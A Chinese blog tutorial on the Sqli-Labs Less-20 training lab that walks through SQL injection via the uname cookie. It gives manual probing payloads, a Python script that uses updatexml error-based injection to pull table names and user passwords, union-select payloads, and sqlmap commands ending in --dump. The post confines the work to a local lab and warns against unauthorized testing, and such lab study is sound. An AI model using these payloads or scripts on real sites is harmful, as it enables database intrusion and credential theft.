news 2026/10/22 19:57:21

Sqli-Labs Less-20 Cookie注入实战:手工探测到自动化提取

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Sqli-Labs Less-20 Cookie注入实战:手工探测到自动化提取

“sqli-labs-Less-20自动化注入”这句话,很多刚接触SQL注入的同学看到之后第一反应是:前面的Less-1到Less-19都玩明白了,怎么到Less-20就突然卡住了?其实Less-20并不是难度陡增,而是它把注入点从URL参数、POST表单搬到了Cookie头里,很多人习惯了看GET和POST参数,一看到Cookie就不知道从哪下手。

这篇文章我会从环境准备、手工探测,到Python脚本自动化提取数据,再到用sqlmap一把梭,完整走一遍Less-20的Cookie注入流程。全程基于本地Sqli-Labs靶场,请确保你是在自己的实验环境里操作,不要对未授权的目标做任何测试。整个过程没有太多高深的理论,更多是“你怎么做、为什么这么做、踩过什么坑”这些最实在的内容。

1. 环境准备与Less-20的注入原理

1.1 本地靶场与工具链怎么搭

在开始之前,先把环境弄明白。Sqli-Labs是一款经典的SQL注入练习靶场,通常需要PHP和MySQL环境。如果你平时用的不是Linux,直接在Windows上装一个集成环境就能跑,比如常见的PHPStudy、XAMPP这类工具,把Sqli-Labs下载后放到Web根目录,修改一下数据库连接配置,导入sqli-labs.sql,就能在本地浏览器里访问。

工具这边,我建议准备三样东西:

  • 浏览器加开发者工具,或者Burp Suite,用来抓包、改包、观察请求和响应。
  • Python 3环境,安装requests库,用来写自动化注入脚本。
  • sqlmap,用来做“懒人模式”的自动化检测和提取。

很多人在less-20上卡住,其实不是技术问题,而是没有理解靶场的请求流程。Less-20的整个交互是“登录 → 服务器下发Cookie → 后续请求带着Cookie → 后台读取Cookie拼SQL”。如果你只关注登录表单,那肯定找不到注入点。所以我们在环境搭好之后,先跑一遍正常登录,把整个数据流看在眼里。

1.2 为什么Cookie会成为注入点

Less-20的代码逻辑大致是这样:你提交用户名密码登录成功后,服务器会在响应头里Set-Cookie,比如uname=admin。之后你访问其他页面时,浏览器会自动带上Cookie: uname=admin。后台在这时却犯了新手常犯的错误:直接把$_COOKIE['uname']拼进了SQL查询语句,连基本的过滤和转义都没做。

用简化后的伪代码表示,后台大概会执行这样一条SQL:

SELECT * FROM users WHERE username='$uname' LIMIT 1;

这里的$uname直接取自Cookie中的uname值。如果我在Cookie里塞一个admin' and 1=1-- -,那么SQL就变成了:

SELECT * FROM users WHERE username='admin' and 1=1-- -' LIMIT 1;

注意-- -后面的单引号和LIMIT全部被注释掉了,整个查询变成SELECT * FROM users WHERE username='admin' and 1=1,条件恒真,页面就会正常返回。

这就是Less-20的核心:它把用户输入藏在了Cookie里。相比GET和POST注入,Cookie注入更隐蔽,因为很多自动扫描器默认不测Cookie头,开发者也会觉得Cookie是服务器下发的、不可篡改的,从而放松警惕。Sqli-Labs把这关单独拎出来,就是让你明白“任何客户端可控的数据,都可能成为注入点”。

2. 手工探测:先确认Cookie注入的存在

2.1 正常登录,观察Cookie形态

第一步很简单,浏览器访问Less-20,用靶场默认账号密码登录,一般用户名和密码都是admin。登录成功后打开开发者工具的Network面板,刷新页面,随便点开一个请求,在Request Headers里能看到Cookie: uname=admin。响应头里也会有一段Set-Cookie: uname=admin; path=/。

如果你用的是Burp Suite,也可以直接在Proxy历史里看到这个请求。重点就是:登录之后的每个请求,Cookie里都有一个uname字段。这个字段的值就是我们在注入时要去控制的东西。

在这个阶段,我强烈建议你先用Burp的Repeater手动改一下Cookie,观察页面反馈,这样能更直观地理解注入判断逻辑。Repeater里保持GET请求不变,把Cookie那行改成Cookie: uname=admin,正常返回;然后改成Cookie: uname=admin',看看页面是不是报错或者变得异常。如果出现SQL语法错误提示,说明单引号已经影响了SQL语句,注入点基本坐实了。

2.2 两个关键Payload验证注入

用Burp手动测试时,最经典的验证方式就是“真条件”和“假条件”对比。

第一个Payload,把Cookie值改成URL编码后的:

Cookie: uname=admin%27%20and%201=1--%20-

解码后是admin' and 1=1-- -,SQL变成WHERE username='admin' and 1=1,恒真,页面应该正常显示用户信息,跟没加东西时一样。

第二个Payload,把1=1换成1=2:

Cookie: uname=admin%27%20and%201=2--%20-

解码后是admin' and 1=2-- -,SQL变成WHERE username='admin' and 1=2,恒假,查询结果为空,页面就不会显示正常用户信息,甚至直接提示用户名不存在。

如果这两个Payload分别触发“页面正常”和“页面无数据/报错”,那就可以100%确定Cookie里存在SQL注入。这里有个小细节:为什么Cookie里的值要URL编码?因为PHP在解析Cookie时会自动做一次URL解码,你发过去%27,它收到的就是'。这样处理也避免了单引号、空格等特殊字符在HTTP头里被解析器干扰,很多自动化脚本也是这么干的。

3. Python脚本自动化注入:从登录到拉取数据

3.1 用requests维护会话并完成登录

确认注入点之后,手工一个个测太慢了,我们来写Python脚本自动完成登录、构造Payload、发送请求、解析结果这一整套流程。

这里用requests库。登录部分很简单,模拟提交表单,然后从响应里提取Cookie:

import requests import re import urllib.parse base_url = "http://127.0.0.1/sqli-labs/Less-20/" login_url = base_url + "login.php" target_url = base_url + "index.php" login_data = { "login_user": "admin", "login_password": "admin", "submit": "Login" } session = requests.Session() session.post(login_url, data=login_data) # 登录成功后,Session里已经带了uname这个Cookie cookie_value = session.cookies.get("uname") print("当前Cookie uname =", cookie_value)

如果你的靶场登录地址不是login.php,以你本地实际抓包看到的表单提交地址为准。Sqli-Labs各关卡的登录表单参数名大概率是login_user和login_password,但不同版本可能有差异,建议在登录时抓一下包确认。

拿到Session之后,我们后面每次请求都可以直接复用这个Session,它会自动带上登录后下发的Cookie。不过当我们要注入时,需要覆盖uname的值,所以要在请求头里手动指定Cookie。

3.2 报错注入实现自动化数据提取

Less-20支持错误回显,所以效率最高的做法是使用MySQL的updatexml函数触发报错,从报错信息里把数据带出来。原理很简单:updatexml(1, concat(0x7e, (子查询), 0x7e), 1)会报错,并将子查询的结果拼接在错误信息里。0x7e是波浪号~,用来标记起始位置。

我们构造一个通用的注入函数:

def inject(sql): # 构造报错注入payload payload = f"admin' and updatexml(1,concat(0x7e,({sql}),0x7e),1)-- -" encoded = urllib.parse.quote(payload) # 覆盖Cookie中的uname字段 headers = { "Cookie": f"uname={encoded}" } resp = session.get(target_url, headers=headers) # 从响应中抓取XPATH syntax error里的数据 match = re.search(r"XPATH syntax error: '~([^~]*)~'", resp.text, re.S) if match: return match.group(1) return None

注意session.get的时候,如果你还在headers里手动传Cookie,requests可能不会自动把session里的cookie一起放进去,但这里我们本身就是想覆盖,所以没有问题。如果你担心冲突,也可以直接用requests.get,但建议保持同一个会话,避免出现其他Cookie干扰。

接下来我们就可以通过这个函数提取数据了。想要当前数据库名:

db_name = inject("select database()") print("数据库名:", db_name)

想要提取所有表名,利用group_concat把多个表拼在一起,一次拿完:

table_sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()" tables = inject(table_sql) print("表名:", tables)

想要提取某张表的字段名,假设表名是users:

column_sql = "select group_concat(column_name) from information_schema.columns where table_name='users'" columns = inject(column_sql) print("字段名:", columns)

然后查询具体数据:

data_sql = "select group_concat(username,0x7e,password) from users" data = inject(data_sql) print("用户数据:", data)

这里有一个很容易踩的坑:如果子查询的结果里包含了波浪号~,我们的正则可能截取不全。稳妥的做法是正则匹配'([^']*)',但那样会包含多余前缀。我在实际过程中更喜欢把分隔符换成0x7e,然后拿~([^~]*)~,因为绝大多数数据里不会包含波浪号。当然,如果你提取的内容本身带有波浪号,就换个分隔符,比如0x23(井号)或0x24(美元符)。

另外,报错注入的数据长度有限制,updatexml的报错输出最长大概32个字符,group_concat如果结果太长会被截断。想拿完整内容,就要用substr或mid函数分段提取,配合limit或者循环。比如:

def inject_limit(sql, start, length): wrapped = f"select mid(({sql}),{start},{length})" return inject(wrapped)

这种分段方式在处理大量数据时非常实用。比如逐一提取每个表名,可以用limit 0,1,然后递增偏移量。

3.3 联合查询注入的扩展思路

报错注入虽好,但Less-20其实也支持联合查询,因为页面在登录成功后会把用户名显示在页面上。如果我们让原本的查询查不到数据,再用union select把数据塞进去,页面就会显示我们想要的内容。

手工验证时的Payload是:

Cookie: uname=xyz%27%20union%20select%201,2,3--%20-

解码后是xyz' union select 1,2,3-- -。原查询WHERE username='xyz'查不到任何记录,union后面的select 1,2,3就成了结果集。页面如果显示2或3的数字,说明回显位置在第二列或第三列。

自动化情况下,我们可以把前面的inject函数改成直接解析页面中显示的数据。假设页面里数据显示在某个特定标签中,我们可以用正则或者BeautifulSoup去提取。不过相比报错注入,联合查询对字段数、回显位置要求更多,Less-20这种场景下我一般优先用报错注入,省事。

4. 用sqlmap一键完成Cookie注入

4.1 sqlmap检测Cookie注入的必备参数

手工加脚本玩明白了,你会发现sqlmap在这种场景下简直是神器,但前提是参数得用对。很多人用sqlmap跑Less-20跑不出来,核心原因就是忘了开Cookie检测。

sqlmap的默认level为1,只测GET和POST参数,不会测Cookie头。想让它检测Cookie里的uname,至少要把level提升到2。我自己的习惯是直接--level=3,因为level越高测试的注入点和注入类型越全,还能顺带测User-Agent、Referer这些头,多花不了几秒,覆盖更放心。

命令很直接:

sqlmap -u "http://127.0.0.1/sqli-labs/Less-20/index.php" --cookie="uname=admin" --level=3 --batch

如果你希望使用真实登录后的Cookie,可以先从浏览器开发者工具或者Burp里复制完整的Cookie字符串,比如uname=admin; PHPSESSID=xxx,然后替换进去。sqlmap会尝试对Cookie参数做注入测试,找到漏洞后会在输出里明确提示类似“Cookie parameter 'uname' is vulnerable”。

4.2 数据提取实战与输出解读

检测到注入后,提取数据就是几条命令的事。先拿数据库列表:

sqlmap -u "http://127.0.0.1/sqli-labs/Less-20/index.php" --cookie="uname=admin" --level=3 --batch --dbs

然后针对某一个库,比如靶场的默认库名,拿表名:

sqlmap -u "http://127.0.0.1/sqli-labs/Less-20/index.php" --cookie="uname=admin" --level=3 --batch -D security --tables

接着拿字段、拿数据:

sqlmap -u "http://127.0.0.1/sqli-labs/Less-20/index.php" --cookie="uname=admin" --level=3 --batch -D security -T users --columns sqlmap -u "http://127.0.0.1/sqli-labs/Less-20/index.php" --cookie="uname=admin" --level=3 --batch -D security -T users --dump

如果你的Cookie里带有多个字段,一定保持完整,否则服务器可能识别不了会话。sqlmap在跑数据时,默认会做枚举,如果数据量比较大,建议加上--threads参数开多线程,但注意sqlmap的线程不要开太高,我自己一般设置--threads=5,太高容易导致漏报或误报。

这里也要提醒一下:sqlmap虽然方便,但它会发送大量探测请求,如果你是在本机靶场测试,那没问题。如果是在别人没有授权的系统上跑,这种流量本身就是非常明显的攻击信号,而且行为可能越界。Sqli-Labs这类靶场存在的意义就是让你在合法环境里练手,千万不要把这种自动化能力用在未经授权的系统上。

5. 常见问题与实操避坑记录

5.1 注入不生效的常见原因

Less-20练手过程中,我见过最多的几个问题:

第一个是Cookie里的Payload被分号截断。我的payload里如果带分号,比如admin';-- -,HTTP解析器会把分号当成Cookie字段的分隔符,后面的内容全部丢失。所以要么避免分号,要么把分号URL编码成%3B。PHP会自动urldecode,所以这招好用。

第二个是注释符没写对。MySQL的注释符有#和--两种,但#在URL编码前容易被各种工具干扰,--后面又必须至少跟一个空格或控制字符,否则不生效。我建议统一用--%20-,也就是-- -,空格和后面的-一起,既满足MySQL要求,也不会被截断。

第三个是没有保持会话。有些同学直接用requests.get不带Cookie,或者手动复制了一个过期的Cookie,导致后台认为你还没登录,自然就不走查询逻辑。所以自动化脚本里,先用Session登录拿Cookie,再注入,是最稳妥的。

5.2 Cookie编码和注释符的坑

很多人在用Python写自动化脚本时,直接把裸的payload塞进Cookie值,结果发现请求报400或者页面不按预期返回。原因就是Cookie值里有空格、引号等特殊字符,HTTP对Cookie的语法是有约束的。规范里Cookie值不建议包含空格、双引号、分号、反斜杠等。解决方法就是URL编码。

具体来说:

encoded_payload = urllib.parse.quote(payload)

这样空格变成%20,单引号变成%27,双引号变成%22。PHP在读取Cookie时会把%27解码为',从而保证SQL语句能正确执行。我自己在写注入函数时,已经把编码这一步写进去了,这样调用起来才顺手。

还有一个细节:urllib.parse.quote默认不会编码/和~,这个不影响注入。如果你担心某些版本会把#编码成%23,反而更安全。但注意,不要把整个headers值再编码一遍,否则会双重编码。

5.3 网络安全边界提醒

虽然这篇文章讲的是SQL注入自动化,是防守方必须掌握的知识,但我还是要多说一句:所有测试都要在授权范围内进行。Sqli-Labs这类靶场是专门用来练习的,你把它跑在本地,怎么折腾都行。如果你真的在工作或学习中遇到真实系统,也一定要先获得书面授权,否则任何自动化注入行为都可能违反法律法规。这篇文章里的所有代码和命令,请只用在你的实验环境里。

5.4 自动化脚本的一些优化建议

最后分享几个我实际用下来觉得舒服的优化点。

第一,脚本里加入超时和重试机制。本地靶场还好,如果网络有波动,一个请求卡住整个脚本就停了。给requests.get加上timeout=5,配合循环重试,能省很多麻烦。

第二,把提取数据的正则写宽松一点。不同版本的MySQL报错格式有细微差别,有些返回XPATH syntax error: '~xxx~',有些可能不带波浪号。我一般先打印一段响应文本,确认格式后,再写死正则,这样最稳。

第三,如果要跑大量数据,建议用单线程循环分段提取,不要盲目开多线程。数据库查询是原子的,多线程在这里只会增加响应解析的复杂度,效率提升也不明显。分段提取配合time.sleep控制频率,反而更可控。

第四,如果你想把脚本做得更通用,可以做成参数化配置,把URL、登录账号、Cookie名、注入函数这些都放到配置文件里。这样以后遇到类似Cookie注入靶场,改一下配置就能复用,不用从零开始。

Less-20这个关卡真正的价值不在于“多难”,而在于它提醒我们:凡是客户端可控的数据,都可能是攻击面。Cookie、User-Agent、Referer,这些平时容易被忽略的头,一旦被后端直接拼进SQL,威力一点不比GET参数小。理解了这一点,再去看自动化注入,不管是脚本还是sqlmap,都只是手段而已。我个人的经验是,先把手工流程走通,再交给脚本,最后再用sqlmap验证结果,这样你对每一步在干什么都心里有数,排查问题也不会一头雾水。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/22 19:53:29

TwinCAT3功能块封装库实战:从库文件生成到项目引用与版本管理

简介:TwinCAT3平台功能块封装库文件及使用说明,面向工业自动化PLC工程师和运动控制开发者,旨在解决功能块复用、代码标准化及跨工程引用库文件的核心问题,尤其适用于复杂数学计算、运动控制序列和通信协议处理场景。包体含55个文件…

作者头像 李华
网站建设 2026/10/22 19:52:56

AI编程范式转换:用AGENTS.md声明契约替代手写代码

1. 项目概述:当代码不再“写”出来,而是“声明”出来最近在几个技术社区里频繁看到一个现象:有经验的开发者开始把原本要花两三天写的自动化脚本,压缩成一份不到200行的 Markdown 文件;某高校实验室的研究生用一份AGEN…

作者头像 李华
网站建设 2026/10/22 19:52:55

贾子理论:构建价值驱动型AI操作系统的核心架构与实践

这篇帖子想写很久了。我所在的团队过去十个月一直泡在一个叫“鸽姆 GG3M”的项目里,对外口径是“全球首个基于贾子理论的文明级智慧AI操作系统”。第一次听到这个名字,我也觉得像某个科幻片里跑出来的道具。但当我们把这个系统从PPT一点点变成能在真实业…

作者头像 李华
网站建设 2026/10/22 19:51:22

跨境支付实时数仓为何必须深度参与开源

1. 为什么“参与开源”成了跨境支付数仓团队的生存刚需去年底,某跨境支付平台XTransfer的技术团队在内部复盘会上抛出一个让所有人沉默的问题:“如果我们今天停掉所有自研数仓模块,只保留Flink、Trino、Doris三个核心开源组件的官方版本&…

作者头像 李华
网站建设 2026/10/22 19:51:04

Webpack核心概念与实战:从打包原理到构建优化

1. 重新认识Webpack&#xff1a;它不只是打包工具1.1 从“手工管理JS文件”的时代说起我刚开始写前端那会儿&#xff0c;项目里还没有什么构建工具。页面要引入一个工具库&#xff0c;就老老实实写一行<script src"xxx.js"></script>&#xff1b;有两个模…

作者头像 李华
网站建设 2026/10/22 19:48:50

以太网核心概念深度解析:从CSMA/CD到MAC地址表的工程实践

1. 项目概述&#xff1a;这不是一份“抄答案指南”&#xff0c;而是一张以太网认知地图“计算机网络思科答案参考——以太网的概念考试”&#xff0c;光看标题&#xff0c;很多人第一反应是找现成的题库和标准答案。但作为带过十几届网络工程实训课、亲手搭过上百套Packet Trac…

作者头像 李华